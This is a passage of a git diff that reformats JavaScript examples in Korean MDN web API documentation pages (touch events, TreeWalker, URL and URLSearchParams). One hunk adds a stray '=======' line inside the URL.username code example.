 
   for (var i = 0; i < touches.length; i++) {
     var idx = ongoingTouchIndexById(touches[i].identifier);
-    ongoingTouches.splice(idx, 1);  // remove it; we're done
+    ongoingTouches.splice(idx, 1); // remove it; we're done
   }
 }
 ```
@@ -219,7 +227,11 @@ Some browsers (mobile Safari, for one) re-use touch objects between events, so i
 
 ```js
 function copyTouch(touch) {
-  return { identifier: touch.identifier, pageX: touch.pageX, pageY: touch.pageY };
+  return {
+    identifier: touch.identifier,
+    pageX: touch.pageX,
+    pageY: touch.pageY,
+  };
 }
 ```
 
@@ -236,7 +248,7 @@ function ongoingTouchIndexById(idToFind) {
       return i;
     }
   }
-  return -1;    // not found
+  return -1; // not found
 }
 ```
 
@@ -244,7 +256,7 @@ function ongoingTouchIndexById(idToFind) {
 
 ```js
 function log(msg) {
-  var p = document.getElementById('log');
+  var p = document.getElementById("log");
   p.innerHTML = msg + "\n" + p.innerHTML;
 }
 ```
@@ -264,7 +276,10 @@ Since calling `preventDefault()` on a {{event("touchstart")}} or the first {{eve
 ```js
 function onTouch(evt) {
   evt.preventDefault();
-  if (evt.touches.length > 1 || (evt.type == "touchend" && evt.touches.length > 0))
+  if (
+    evt.touches.length > 1 ||
+    (evt.type == "touchend" && evt.touches.length > 0)
+  )
     return;
 
   var newEvt = document.createEvent("MouseEvents");
@@ -286,9 +301,23 @@ function onTouch(evt) {
       break;
   }
 
-  newEvt.initMouseEvent(type, true, true, evt.originalTarget.ownerDocument.defaultView, 0,
-    touch.screenX, touch.screenY, touch.clientX, touch.clientY,
-    evt.ctrlKey, evt.altKey, evt.shiftKey, evt.metaKey, 0, null);
+  newEvt.initMouseEvent(
+    type,
+    true,
+    true,
+    evt.originalTarget.ownerDocument.defaultView,
+    0,
+    touch.screenX,
+    touch.screenY,
+    touch.clientX,
+    touch.clientY,
+    evt.ctrlKey,
+    evt.altKey,
+    evt.shiftKey,
+    evt.metaKey,
+    0,
+    null,
+  );
   evt.originalTarget.dispatchEvent(newEvt);
 }
 ```
diff --git a/files/ko/web/api/treewalker/currentnode/index.md b/files/ko/web/api/treewalker/currentnode/index.md
index fb7b1d41125649..c78436d048f670 100644
--- a/files/ko/web/api/treewalker/currentnode/index.md
+++ b/files/ko/web/api/treewalker/currentnode/index.md
@@ -18,10 +18,14 @@ treeWalker.currentNode = node;
 
 ```js
 var treeWalker = document.createTreeWalker(
-    document.body,
-    NodeFilter.SHOW_ELEMENT,
-    { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
-    false
+  document.body,
+  NodeFilter.SHOW_ELEMENT,
+  {
+    acceptNode: function (node) {
+      return NodeFilter.FILTER_ACCEPT;
+    },
+  },
+  false,
 );
 root = treeWalker.currentNode; // 첫번째 엘리먼트인 루트 엘리먼트!
 ```
diff --git a/files/ko/web/api/treewalker/index.md b/files/ko/web/api/treewalker/index.md
index 0b2f08b948ce61..d8256772faedc2 100644
--- a/files/ko/web/api/treewalker/index.md
+++ b/files/ko/web/api/treewalker/index.md
@@ -2,6 +2,7 @@
 title: TreeWalker
 slug: Web/API/TreeWalker
 ---
+
 {{ APIRef("DOM") }}
 
 **`TreeWalker`** 오브젝트는 도큐먼트 서브트리의 노드들과 그 안에서의 위치를 나타낸다.
@@ -15,21 +16,21 @@ _이 인터페이스는 어떤 프라퍼티도 상속하지 않는다._
 - {{domxref("TreeWalker.root")}} {{readonlyInline}}
   - : `TreeWalker` 를 생성할 때 지정한 루트 노드를 나타대는 {{domxref("Node")}}를 반환한다.
 - {{domxref("TreeWalker.whatToShow")}} {{readonlyInline}}
-  - | : 제공해야할 {{domxref("Node")}} 유형을 기술하는 `unsigned long` 비트마스크를 반환한다. 일치하지 않는 노드들은 건너뛰지만 관련된 경우 그 자식들을 포함할 수 있다. 가능한 값들은: | 상수                              | 숫자 값                                                                                                                                                                                                                                                                                                                                                       | 설명 |
-    | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---- |
-    | `NodeFilter.SHOW_ALL`                                                                                                                                                                 | `-1` ( `unsigned long의 최대 값`) | 모든 노드를 보여준다.                                                                                                                                                                                                                                                                                                                                         |
-    | `NodeFilter.SHOW_ATTRIBUTE` {{deprecated_inline}}                                                                                                                              | `2`                               | 속성 {{ domxref("Attr") }} 노드들을 보여준다. {{ domxref("Attr") }}노드가 루트인 {{ domxref("TreeWalker") }}를 생성할 때에만 의미가 있다. 이 경우, 그 속성 노드가 그 반복 또는 순회에 첫 위치로 나타남을 의미한다. 속성은 결코 다른 노드의 자식이 아니기 때문에 도큐먼트 트리를 순회할 때는 나타나지 않는다.                           |
-    | `NodeFilter.SHOW_CDATA_SECTION` {{deprecated_inline}}                                                                                                                          | `8`                               | {{ domxref("CDATASection") }} 노드들을 보여준다.                                                                                                                                                                                                                                                                                                   |
-    | `NodeFilter.SHOW_COMMENT`                                                                                                                                                             | `128`                             | {{ domxref("Comment") }} 노드들을 보여준다.                                                                                                                                                                                                                                                                                                           |
-    | `NodeFilter.SHOW_DOCUMENT`                                                                                                                                                            | `256`                             | {{ domxref("Document") }} 노드들을 보여준다.                                                                                                                                                                                                                                                                                                           |
-    | `NodeFilter.SHOW_DOCUMENT_FRAGMENT`                                                                                                                                                   | `1024`                            | {{ domxref("DocumentFragment") }} 노드들을 보여준다.                                                                                                                                                                                                                                                                                               |
-    | `NodeFilter.SHOW_DOCUMENT_TYPE`                                                                                                                                                       | `512`                             | {{ domxref("DocumentType") }} 노드들을 보여준다.                                                                                                                                                                                                                                                                                                   |
-    | `NodeFilter.SHOW_ELEMENT`                                                                                                                                                             | `1`                               | {{ domxref("Element") }} 노드들을 보여준다.                                                                                                                                                                                                                                                                                                           |
-    | `NodeFilter.SHOW_ENTITY` {{deprecated_inline}}                                                                                                                                 | `32`                              | {{ domxref("Entity") }} 노드들을 보여준다. {{ domxref("Entity") }} 노드를 루트로 하여 {{ domxref("TreeWalker") }}를 생성할 때만 의미가 있다; 이 경우, 그 {{ domxref("Entity") }} 노드가 그 순회의 첫 위치에 나타남을 의미한다. 엔티티들은 도큐먼트 트리의 일부가 아니기 때문에 도큐먼트 트리를 순회할 때 나타나지 않는다. |
-    | `NodeFilter.SHOW_ENTITY_REFERENCE` {{deprecated_inline}}                                                                                                                       | `16`                              | {{ domxref("EntityReference") }} 노드들을 보여준다.                                                                                                                                                                                                                                                                                               |
-    | `NodeFilter.SHOW_NOTATION` {{deprecated_inline}}                                                                                                                               | `2048`                            | {{ domxref("Notation") }} 노드들을 보여준다. {{ domxref("Notation") }} 노드를 루트로 하여 {{ domxref("TreeWalker") }}를 생성할 때만 의미가 있다; 이 경우, 그 {{ domxref("Notation") }} 노드가 순회의 첫 위치에 나타남을 의미한다, 그들은 도큐먼트 트리를 순회할 때 나타나지 않는다.                                             |
-    | `NodeFilter.SHOW_PROCESSING_INSTRUCTION`                                                                                                                                              | `64`                              | {{ domxref("ProcessingInstruction") }} 노드들을 보여준다.                                                                                                                                                                                                                                                                                       |
-    | `NodeFilter.SHOW_TEXT`                                                                                                                                                                | `4`                               | {{ domxref("Text") }} 노드들을 보여준다.                                                                                                                                                                                                                                                                                                               |
+  - | : 제공해야할 {{domxref("Node")}} 유형을 기술하는 `unsigned long` 비트마스크를 반환한다. 일치하지 않는 노드들은 건너뛰지만 관련된 경우 그 자식들을 포함할 수 있다. 가능한 값들은: | 상수                              | 숫자 값                                                                                                                                                                                                                                                                                                                   | 설명 |
+    | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---- |
+    | `NodeFilter.SHOW_ALL`                                                                                                                                                            | `-1` ( `unsigned long의 최대 값`) | 모든 노드를 보여준다.                                                                                                                                                                                                                                                                                                     |
+    | `NodeFilter.SHOW_ATTRIBUTE` {{deprecated_inline}}                                                                                                                                | `2`                               | 속성 {{ domxref("Attr") }} 노드들을 보여준다. {{ domxref("Attr") }}노드가 루트인 {{ domxref("TreeWalker") }}를 생성할 때에만 의미가 있다. 이 경우, 그 속성 노드가 그 반복 또는 순회에 첫 위치로 나타남을 의미한다. 속성은 결코 다른 노드의 자식이 아니기 때문에 도큐먼트 트리를 순회할 때는 나타나지 않는다.              |
+    | `NodeFilter.SHOW_CDATA_SECTION` {{deprecated_inline}}                                                                                                                            | `8`                               | {{ domxref("CDATASection") }} 노드들을 보여준다.                                                                                                                                                                                                                                                                          |
+    | `NodeFilter.SHOW_COMMENT`                                                                                                                                                        | `128`                             | {{ domxref("Comment") }} 노드들을 보여준다.                                                                                                                                                                                                                                                                               |
+    | `NodeFilter.SHOW_DOCUMENT`                                                                                                                                                       | `256`                             | {{ domxref("Document") }} 노드들을 보여준다.                                                                                                                                                                                                                                                                              |
+    | `NodeFilter.SHOW_DOCUMENT_FRAGMENT`                                                                                                                                              | `1024`                            | {{ domxref("DocumentFragment") }} 노드들을 보여준다.                                                                                                                                                                                                                                                                      |
+    | `NodeFilter.SHOW_DOCUMENT_TYPE`                                                                                                                                                  | `512`                             | {{ domxref("DocumentType") }} 노드들을 보여준다.                                                                                                                                                                                                                                                                          |
+    | `NodeFilter.SHOW_ELEMENT`                                                                                                                                                        | `1`                               | {{ domxref("Element") }} 노드들을 보여준다.                                                                                                                                                                                                                                                                               |
+    | `NodeFilter.SHOW_ENTITY` {{deprecated_inline}}                                                                                                                                   | `32`                              | {{ domxref("Entity") }} 노드들을 보여준다. {{ domxref("Entity") }} 노드를 루트로 하여 {{ domxref("TreeWalker") }}를 생성할 때만 의미가 있다; 이 경우, 그 {{ domxref("Entity") }} 노드가 그 순회의 첫 위치에 나타남을 의미한다. 엔티티들은 도큐먼트 트리의 일부가 아니기 때문에 도큐먼트 트리를 순회할 때 나타나지 않는다. |
+    | `NodeFilter.SHOW_ENTITY_REFERENCE` {{deprecated_inline}}                                                                                                                         | `16`                              | {{ domxref("EntityReference") }} 노드들을 보여준다.                                                                                                                                                                                                                                                                       |
+    | `NodeFilter.SHOW_NOTATION` {{deprecated_inline}}                                                                                                                                 | `2048`                            | {{ domxref("Notation") }} 노드들을 보여준다. {{ domxref("Notation") }} 노드를 루트로 하여 {{ domxref("TreeWalker") }}를 생성할 때만 의미가 있다; 이 경우, 그 {{ domxref("Notation") }} 노드가 순회의 첫 위치에 나타남을 의미한다, 그들은 도큐먼트 트리를 순회할 때 나타나지 않는다.                                       |
+    | `NodeFilter.SHOW_PROCESSING_INSTRUCTION`                                                                                                                                         | `64`                              | {{ domxref("ProcessingInstruction") }} 노드들을 보여준다.                                                                                                                                                                                                                                                                 |
+    | `NodeFilter.SHOW_TEXT`                                                                                                                                                           | `4`                               | {{ domxref("Text") }} 노드들을 보여준다.                                                                                                                                                                                                                                                                                  |
 - {{domxref("TreeWalker.filter")}} {{readonlyInline}}
   - : 의미있는 노드들을 선택하기 위해 사용하는 {{domxref("NodeFilter")}}를 반환한다.
 - {{domxref("TreeWalker.expandEntityReferences")}} {{readonlyInline}}{{deprecated_inline}}
diff --git a/files/ko/web/api/url/createobjecturl_static/index.md b/files/ko/web/api/url/createobjecturl_static/index.md
index bafbe98da1bf2d..5504646fbab4e0 100644
--- a/files/ko/web/api/url/createobjecturl_static/index.md
+++ b/files/ko/web/api/url/createobjecturl_static/index.md
@@ -17,7 +17,7 @@ original_slug: Web/API/URL/createObjectURL
 ## 구문
 
 ```js
-const objectURL = URL.createObjectURL(object)
+const objectURL = URL.createObjectURL(object);
 ```
 
 ### 매개변수
diff --git a/files/ko/web/api/url/hash/index.md b/files/ko/web/api/url/hash/index.md
index 80b53fac58b65f..9a8e6f6743452c 100644
--- a/files/ko/web/api/url/hash/index.md
+++ b/files/ko/web/api/url/hash/index.md
@@ -2,6 +2,7 @@
 title: URL.hash
 slug: Web/API/URL/hash
 ---
+
 {{ APIRef("URL API") }}
 
 {{domxref("URL")}} 인터페이스의 **`hash`** 속성은 맨 앞의 `'#'`과 함께 URL의 프래그먼트 식별자를 담고 있는 {{domxref("USVString")}}입니다.
@@ -13,8 +14,8 @@ slug: Web/API/URL/hash
 ## 구문
 
 ```js
-const string = url.hash
-url.hash = newHash
+const string = url.hash;
+url.hash = newHash;
 ```
 
 ### 값
@@ -24,7 +25,9 @@ url.hash = newHash
 ## 예제
 
 ```js
-const url = new URL('https://developer.mozilla.org/ko/docs/Web/API/URL/href#예제');
+const url = new URL(
+  "https://developer.mozilla.org/ko/docs/Web/API/URL/href#예제",
+);
 console.log(url.hash); // Logs: '#예제'
 ```
 
diff --git a/files/ko/web/api/url/host/index.md b/files/ko/web/api/url/host/index.md
index 2260964e96cb17..b74a420c08cc5e 100644
--- a/files/ko/web/api/url/host/index.md
+++ b/files/ko/web/api/url/host/index.md
@@ -12,8 +12,8 @@ slug: Web/API/URL/host
 ## 구문
 
 ```js
-const host = url.host
-url.host = newHost
+const host = url.host;
+url.host = newHost;
 ```
 
 ### 값
@@ -23,14 +23,14 @@ url.host = newHost
 ## 예제
 
 ```js
-let url = new URL('https://developer.mozilla.org/ko/docs/Web/API/URL/host');
+let url = new URL("https://developer.mozilla.org/ko/docs/Web/API/URL/host");
 console.log(url.host); // "developer.mozilla.org"
 
-url = new URL('https://developer.mozilla.org:443/ko/docs/Web/API/URL/host');
+url = new URL("https://developer.mozilla.org:443/ko/docs/Web/API/URL/host");
 console.log(url.host); // "developer.mozilla.org"
 // The port number is not included because 443 is the scheme's default port
 
-url = new URL('https://developer.mozilla.org:4097/ko/docs/Web/API/URL/host');
+url = new URL("https://developer.mozilla.org:4097/ko/docs/Web/API/URL/host");
 console.log(url.host); // "developer.mozilla.org:4097"
 ```
 
diff --git a/files/ko/web/api/url/hostname/index.md b/files/ko/web/api/url/hostname/index.md
index 1f733475062d3c..520ad2ec9a4e22 100644
--- a/files/ko/web/api/url/hostname/index.md
+++ b/files/ko/web/api/url/hostname/index.md
@@ -2,6 +2,7 @@
 title: URL.hostname
 slug: Web/API/URL/hostname
 ---
+
 {{ApiRef("URL API")}}
 
 {{domxref("URL")}} 인터페이스의 **`hostname`** 속성은 URL의 {{glossary("domain name", "도메인 이름")}}을 담은 {{domxref("USVString")}}을 반환합니다.
@@ -11,8 +12,8 @@ slug: Web/API/URL/hostname
 ## 구문
 
 ```js
-const domain = url.hostname
-url.hostname = domain
+const domain = url.hostname;
+url.hostname = domain;
 ```
 
 ### 값
@@ -22,7 +23,9 @@ url.hostname = domain
 ## 예제
 
 ```js
-const url = new URL('https://developer.mozilla.org/ko/docs/Web/API/URL/hostname');
+const url = new URL(
+  "https://developer.mozilla.org/ko/docs/Web/API/URL/hostname",
+);
 console.log(url.hostname); // Logs: 'developer.mozilla.org'
 ```
 
diff --git a/files/ko/web/api/url/href/index.md b/files/ko/web/api/url/href/index.md
index 1dc35d3c511b3e..88091008208947 100644
--- a/files/ko/web/api/url/href/index.md
+++ b/files/ko/web/api/url/href/index.md
@@ -2,6 +2,7 @@
 title: URL.href
 slug: Web/API/URL/href
 ---
+
 {{ApiRef("URL API")}}
 
 {{domxref("URL")}} 인터페이스의 **`href`** 속성은 전체 URL을 담은 {{domxref("USVString")}}입니다.
@@ -11,8 +12,8 @@ slug: Web/API/URL/href
 ## 구문
 
 ```js
-const urlString = url.href
-url.href = newUrlString
+const urlString = url.href;
+url.href = newUrlString;
 ```
 
 ### 값
@@ -22,7 +23,7 @@ url.href = newUrlString
 ## 예제
 
 ```js
-const url = new URL('https://developer.mozilla.org/ko/docs/Web/API/URL/href');
+const url = new URL("https://developer.mozilla.org/ko/docs/Web/API/URL/href");
 console.log(url.href); // Logs: 'https://developer.mozilla.org/ko/docs/Web/API/URL/href'
 ```
 
diff --git a/files/ko/web/api/url/index.md b/files/ko/web/api/url/index.md
index 43ed08111d8069..ec45f5293e5a89 100644
--- a/files/ko/web/api/url/index.md
+++ b/files/ko/web/api/url/index.md
@@ -2,6 +2,7 @@
 title: URL
 slug: Web/API/URL
 ---
+
 {{APIRef("URL API")}}
 
 **`URL`** 인터페이스는 {{glossary("URL")}}을 분석, 생성, 정규화, 인코딩 할 때 사용하며, URL의 각 구성요소를 쉽게 읽고 쓸 수 있는 속성을 제공합니다. `URL` 객체 생성은 생성자에 전체 URL 문자열, 또는 상대 URL과 기준 URL을 생성자에 전달해 진행합니다. 이렇게 생성한 URL 객체를 사용해 URL을 쉽게 바꾸거나 읽을 수 있습니다.
@@ -61,7 +62,7 @@ slug: Web/API/URL
 생성자는 `url` 매개변수를 받으며, URL이 상대 URL인 경우 선택적으로 `base` 매개변수를 지정해 기준으로 사용할 수 있습니다.
 
 ```js
-const url = new URL('../cats', 'http://www.example.com/dogs');
+const url = new URL("../cats", "http://www.example.com/dogs");
 console.log(url.hostname); // "www.example.com"
 console.log(url.pathname); // "/cats"
 ```
@@ -69,14 +70,14 @@ console.log(url.pathname); // "/cats"
 URL 속성을 사용해 URL을 만들 수 있습니다.
 
 ```js
-url.hash = 'tabby';
+url.hash = "tabby";
 console.log(url.href); // "http://www.example.com/cats#tabby"
 ```
 
 URL은 {{RFC(3986)}}의 규칙을 따라 인코딩 됩니다.
 
 ```js
-url.pathname = 'démonstration.html';
+url.pathname = "démonstration.html";
 console.log(url.href); // "http://www.example.com/d%C3%A9monstration.html"
 ```
 
@@ -93,7 +94,9 @@ console.log(parsedUrl.searchParams.get("id")); // "123"
 {{domxref("URL.toString", "toString()")}} 메서드는 단순히 {{domxref("URL.href", "href")}} 속성의 값을 반환하는 것이므로, URL 정규화와 인코딩에 생성자를 직접 사용할 수 있습니다.
 
 ```js
-const response = await fetch(new URL('http://www.example.com/démonstration.html'));
+const response = await fetch(
+  new URL("http://www.example.com/démonstration.html"),
+);
 ```
 
 ## 명세
diff --git a/files/ko/web/api/url/origin/index.md b/files/ko/web/api/url/origin/index.md
index 3e814a52bb4560..f6467e227bfb7c 100644
--- a/files/ko/web/api/url/origin/index.md
+++ b/files/ko/web/api/url/origin/index.md
@@ -16,7 +16,7 @@ slug: Web/API/URL/origin
 ## 구문
 
 ```js
-const originString = url.origin
+const originString = url.origin;
 ```
 
 ### 값
@@ -26,7 +26,7 @@ A {{domxref("USVString")}}.
 ## 예제
 
 ```js
-const url = new URL("blob:https://mozilla.org:443/")
+const url = new URL("blob:https://mozilla.org:443/");
 console.log(url.origin); // Logs 'https://mozilla.org'
 ```
 
diff --git a/files/ko/web/api/url/password/index.md b/files/ko/web/api/url/password/index.md
index 3e2650661670d3..63b7b4ffb58201 100644
--- a/files/ko/web/api/url/password/index.md
+++ b/files/ko/web/api/url/password/index.md
@@ -14,8 +14,8 @@ slug: Web/API/URL/password
 ## 구문
 
 ```js
-const passwordString = url.password
-url.password = newPassword
+const passwordString = url.password;
+url.password = newPassword;
 ```
 
 ### 값
@@ -25,8 +25,10 @@ url.password = newPassword
 ## 예제
 
 ```js
-const url = new URL('https://anonymous:flabada@developer.mozilla.org/en-US/docs/Web/API/URL/password');
-console.log(url.password) // Logs "flabada"
+const url = new URL(
+  "https://anonymous:flabada@developer.mozilla.org/ko/docs/Web/API/URL/password",
+);
+console.log(url.password); // Logs "flabada"
 ```
 
 ## 명세서
diff --git a/files/ko/web/api/url/pathname/index.md b/files/ko/web/api/url/pathname/index.md
index 46e8317d5e98c1..a2430b61c41797 100644
--- a/files/ko/web/api/url/pathname/index.md
+++ b/files/ko/web/api/url/pathname/index.md
@@ -2,6 +2,7 @@
 title: URL.pathname
 slug: Web/API/URL/pathname
 ---
+
 {{ApiRef("URL API")}}
 
 {{domxref("URL")}} 인터페이스의 **`pathname`** 속성은 URL의 경로와 그 앞의 `/`로 이루어진 {{domxref("USVString")}}을 반환합니다. 경로가 없는 경우 빈 문자열을 반환합니다.
@@ -11,8 +12,8 @@ slug: Web/API/URL/pathname
 ## 구문
 
 ```js
-const path = url.pathname
-url.pathname = newPath
+const path = url.pathname;
+url.pathname = newPath;
 ```
 
 ### 값
@@ -22,7 +23,9 @@ url.pathname = newPath
 ## 예제
 
 ```js
-var url = new URL('https://developer.mozilla.org/ko/docs/Web/API/URL/pathname?q=value');
+var url = new URL(
+  "https://developer.mozilla.org/ko/docs/Web/API/URL/pathname?q=value",
+);
 var result = url.pathname; // Returns:"/ko/docs/Web/API/URL/pathname"
 ```
 
diff --git a/files/ko/web/api/url/port/index.md b/files/ko/web/api/url/port/index.md
index aa84c67b46168b..07854d54a6a48d 100644
--- a/files/ko/web/api/url/port/index.md
+++ b/files/ko/web/api/url/port/index.md
@@ -12,8 +12,8 @@ slug: Web/API/URL/port
 ## 구문
 
 ```js
-const portNumber = url.port
-url.port = newPortNumber
+const portNumber = url.port;
+url.port = newPortNumber;
 ```
 
 ### 값
@@ -23,7 +23,7 @@ A {{domxref("USVString")}}.
 ## 예제
 
 ```js
-const url = new URL('https://mydomain.com:80/svn/Repos/');
+const url = new URL("https://mydomain.com:80/svn/Repos/");
 console.log(url.port); // Logs '80'
 ```
 
diff --git a/files/ko/web/api/url/protocol/index.md b/files/ko/web/api/url/protocol/index.md
index 15b8525f75f997..60befdc3fd6fa2 100644
--- a/files/ko/web/api/url/protocol/index.md
+++ b/files/ko/web/api/url/protocol/index.md
@@ -12,8 +12,8 @@ slug: Web/API/URL/protocol
 ## 구문
 
 ```js
-const protocol = url.protocol
-url.protocol = newProtocol
+const protocol = url.protocol;
+url.protocol = newProtocol;
 ```
 
 ### 값
@@ -23,7 +23,9 @@ url.protocol = newProtocol
 ## 예제
 
 ```js
-const url = new URL('https://developer.mozilla.org/en-US/docs/Web/API/URL/protocol');
+const url = new URL(
+  "https://developer.mozilla.org/ko/docs/Web/API/URL/protocol",
+);
 console.log(url.protocol); // Logs "https:"
 ```
 
diff --git a/files/ko/web/api/url/revokeobjecturl_static/index.md b/files/ko/web/api/url/revokeobjecturl_static/index.md
index 57c8756696205f..047db0d0a97aef 100644
--- a/files/ko/web/api/url/revokeobjecturl_static/index.md
+++ b/files/ko/web/api/url/revokeobjecturl_static/index.md
@@ -15,7 +15,7 @@ original_slug: Web/API/URL/revokeObjectURL
 ## 구문
 
 ```js
-URL.revokeObjectURL(objectURL)
+URL.revokeObjectURL(objectURL);
 ```
 
 ### 매개변수
diff --git a/files/ko/web/api/url/search/index.md b/files/ko/web/api/url/search/index.md
index da01e9d36dce74..043629b90a54c4 100644
--- a/files/ko/web/api/url/search/index.md
+++ b/files/ko/web/api/url/search/index.md
@@ -14,8 +14,8 @@ slug: Web/API/URL/search
 ## 구문
 
 ```js
-const searchParams = object.search
-url.search = newSearchParams
+const searchParams = object.search;
+url.search = newSearchParams;
 ```
 
 ### 값
@@ -25,7 +25,9 @@ url.search = newSearchParams
 ## Examples
 
 ```js
-const url = new URL('https://developer.mozilla.org/ko/docs/Web/API/URL/search?q=123');
+const url = new URL(
+  "https://developer.mozilla.org/ko/docs/Web/API/URL/search?q=123",
+);
 console.log(url.search); // Logs "?q=123"
 ```
 
diff --git a/files/ko/web/api/url/searchparams/index.md b/files/ko/web/api/url/searchparams/index.md
index 78855d0437f093..9223b0f8a2f7c3 100644
--- a/files/ko/web/api/url/searchparams/index.md
+++ b/files/ko/web/api/url/searchparams/index.md
@@ -12,7 +12,7 @@ slug: Web/API/URL/searchParams
 ## 구문
 
 ```js
-const urlSearchParams = url.searchParams
+const urlSearchParams = url.searchParams;
 ```
 
 ### 값
@@ -24,9 +24,9 @@ const urlSearchParams = url.searchParams
 페이지의 URL을 `https://example.com/?name=Jonathan%20Smith&age=18`로 가정했을 때, `name`과 `age` 매개변수는 다음과 같이 가져올 수 있습니다.
 
 ```js
-let params = (new URL(document.location)).searchParams;
-let name = params.get('name'); // is the string "Jonathan Smith".
-let age = parseInt(params.get('age')); // is the number 18
+let params = new URL(document.location).searchParams;
+let name = params.get("name"); // is the string "Jonathan Smith".
+let age = parseInt(params.get("age")); // is the number 18
 ```
 
 ## 명세
diff --git a/files/ko/web/api/url/tojson/index.md b/files/ko/web/api/url/tojson/index.md
index 2be870786f2442..28a6d19117ef8c 100644
--- a/files/ko/web/api/url/tojson/index.md
+++ b/files/ko/web/api/url/tojson/index.md
@@ -12,7 +12,7 @@ slug: Web/API/URL/toJSON
 ## 구문
 
 ```js
-const href = url.toJSON()
+const href = url.toJSON();
 ```
 
 ### 반환 값
@@ -22,7 +22,9 @@ const href = url.toJSON()
 ## 예제
 
 ```js
-const url = new URL("https://developer.mozilla.org/en-US/docs/Web/API/URL/toString");
+const url = new URL(
+  "https://developer.mozilla.org/ko/docs/Web/API/URL/toString",
+);
 url.toJSON(); // should return the URL as a string
 ```
 
diff --git a/files/ko/web/api/url/tostring/index.md b/files/ko/web/api/url/tostring/index.md
index f10ffe7194352f..2e261d48c647f2 100644
--- a/files/ko/web/api/url/tostring/index.md
+++ b/files/ko/web/api/url/tostring/index.md
@@ -12,7 +12,7 @@ slug: Web/API/URL/toString
 ## 구문
 
 ```js
-href = url.toString()
+href = url.toString();
 ```
 
 ### 반환 값
@@ -22,7 +22,9 @@ href = url.toString()
 ## 예제
 
 ```js
-const url = new URL("https://developer.mozilla.org/ko/docs/Web/API/URL/toString");
+const url = new URL(
+  "https://developer.mozilla.org/ko/docs/Web/API/URL/toString",
+);
 url.toString(); // should return the URL as a string
 ```
 
diff --git a/files/ko/web/api/url/url/index.md b/files/ko/web/api/url/url/index.md
index 138b550f3924e4..8f3da7df4f6c66 100644
--- a/files/ko/web/api/url/url/index.md
+++ b/files/ko/web/api/url/url/index.md
@@ -2,6 +2,7 @@
 title: URL()
 slug: Web/API/URL/URL
 ---
+
 {{APIRef("URL API")}}
 
 **`URL()`** 생성자는 매개변수로 제공한 URL을 나타내는 새로운 {{domxref("URL")}} 객체를 반환합니다.
@@ -27,32 +28,32 @@ const url = new URL(url [, base])
 
 ### 예외
 
-| 예외                             | 설명                                                                              |
-| -------------------------------- | --------------------------------------------------------------------------------- |
+| 예외                    | 설명                                                                              |
+| ----------------------- | --------------------------------------------------------------------------------- |
 | {{jsxref("TypeError")}} | 절대 URL인 경우 `url`, 상대 URL인 경우 `base` + `url`이 유효하지 않은 URL인 경우. |
 
 ## 예제
 
 ```js
 // Base urls
-let m = 'https://developer.mozilla.org';
-let a = new URL("/", m);                                // => 'https://developer.mozilla.org/'
-let b = new URL(m);                                     // => 'https://developer.mozilla.org/'
+let m = "https://developer.mozilla.org";
+let a = new URL("/", m); // => 'https://developer.mozilla.org/'
+let b = new URL(m); // => 'https://developer.mozilla.org/'
 
-        new URL('en-US/docs', b);                      // => 'https://developer.mozilla.org/en-US/docs'
-let d = new URL('/en-US/docs', b);                     // => 'https://developer.mozilla.org/en-US/docs'
-        new URL('/en-US/docs', d);                     // => 'https://developer.mozilla.org/en-US/docs'
-        new URL('/en-US/docs', a);                     // => 'https://developer.mozilla.org/en-US/docs'
+new URL("en-US/docs", b); // => 'https://developer.mozilla.org/en-US/docs'
+let d = new URL("/en-US/docs", b); // => 'https://developer.mozilla.org/en-US/docs'
+new URL("/en-US/docs", d); // => 'https://developer.mozilla.org/en-US/docs'
+new URL("/en-US/docs", a); // => 'https://developer.mozilla.org/en-US/docs'
 
-        new URL('/en-US/docs', "https://developer.mozilla.org/fr-FR/toto");
-                                                       // => 'https://developer.mozilla.org/en-US/docs'
+new URL("/en-US/docs", "https://developer.mozilla.org/fr-FR/toto");
+// => 'https://developer.mozilla.org/en-US/docs'
 
-        new URL('/en-US/docs', '');                    // Raises a TypeError exception as '' is not a valid URL
-        new URL('/en-US/docs');                        // Raises a TypeError exception as '/en-US/docs' is not a valid URL
-        new URL('http://www.example.com', );           // => 'http://www.example.com/'
-        new URL('http://www.example.com', b);          // => 'http://www.example.com/'
+new URL("/en-US/docs", ""); // Raises a TypeError exception as '' is not a valid URL
+new URL("/en-US/docs"); // Raises a TypeError exception as '/en-US/docs' is not a valid URL
+new URL("http://www.example.com"); // => 'http://www.example.com/'
+new URL("http://www.example.com", b); // => 'http://www.example.com/'
 
-        new URL("//foo.com", "https://example.com")    // => 'https://foo.com' (see relative URLs)
+new URL("//foo.com", "https://example.com"); // => 'https://foo.com' (see relative URLs)
 ```
 
 ## 명세
diff --git a/files/ko/web/api/url/username/index.md b/files/ko/web/api/url/username/index.md
index 55b4c1e944874c..1720918dd8dc08 100644
--- a/files/ko/web/api/url/username/index.md
+++ b/files/ko/web/api/url/username/index.md
@@ -2,6 +2,7 @@
 title: URL.username
 slug: Web/API/URL/username
 ---
+
 {{ApiRef("URL API")}}
 
 {{domxref("URL")}} 인터페이스의 **`username`** 속성은 도메인 이전의 사용자 이름을 담은 {{domxref("USVString")}}을 반환합니다.
@@ -11,8 +12,8 @@ slug: Web/API/URL/username
 ## 구문
 
 ```js
-const usernameString = url.username
-url.username = newUsername
+const usernameString = url.username;
+url.username = newUsername;
 ```
 
 ### 값
@@ -22,8 +23,11 @@ url.username = newUsername
 ## 예제
 
 ```js
-const url = new URL('https://anonymous:flabada@developer.mozilla.org/en-US/docs/Web/API/URL/username');
-console.log(url.username) // Logs "anonymous"
+const url = new URL(
+  "https://anonymous:flabada@developer.mozilla.org/ko/docs/Web/API/URL/username",
+);
+console.log(url.username); // Logs "anonymous"
+=======
 ```
 
 ## 명세
diff --git a/files/ko/web/api/urlsearchparams/append/index.md b/files/ko/web/api/urlsearchparams/append/index.md
index d6c65f225ef8f7..5926088e96b564 100644
--- a/files/ko/web/api/urlsearchparams/append/index.md
+++ b/files/ko/web/api/urlsearchparams/append/index.md
@@ -2,6 +2,7 @@
 title: URLSearchParams.append()
 slug: Web/API/URLSearchParams/append
 ---
+
 {{ApiRef("URL API")}}
 
